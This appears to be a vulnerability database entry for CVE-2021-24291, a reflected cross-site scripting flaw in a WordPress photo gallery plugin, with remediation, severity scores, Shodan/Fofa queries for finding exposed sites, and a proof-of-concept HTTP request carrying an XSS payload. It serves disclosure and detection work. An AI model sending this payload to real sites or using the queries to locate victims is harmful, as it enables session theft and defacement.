🔙 목록으로 돌아가기

CVE-2021-24291: WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting

TitleWordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting
Authorgeeknik
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate WordPress Photo Gallery by 10Web to version 1.5.69 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.14622
CVE IDCVE-2021-24291
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/photo-gallery
Fofa Querybody=/wp-content/plugins/photo-gallery
Tags cve2021 cve photo wpscan packetstorm xss wordpress wp-plugin 10web vuln

🔍 Vulnerability Description

WordPress Photo Gallery by 10Web plugin before 1.5.69 contains multiple reflected cross-site scripting vulnerabilities via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action, available to both unauthenticated and authenticated users.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1"%20onmouseover=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24291.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24291.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A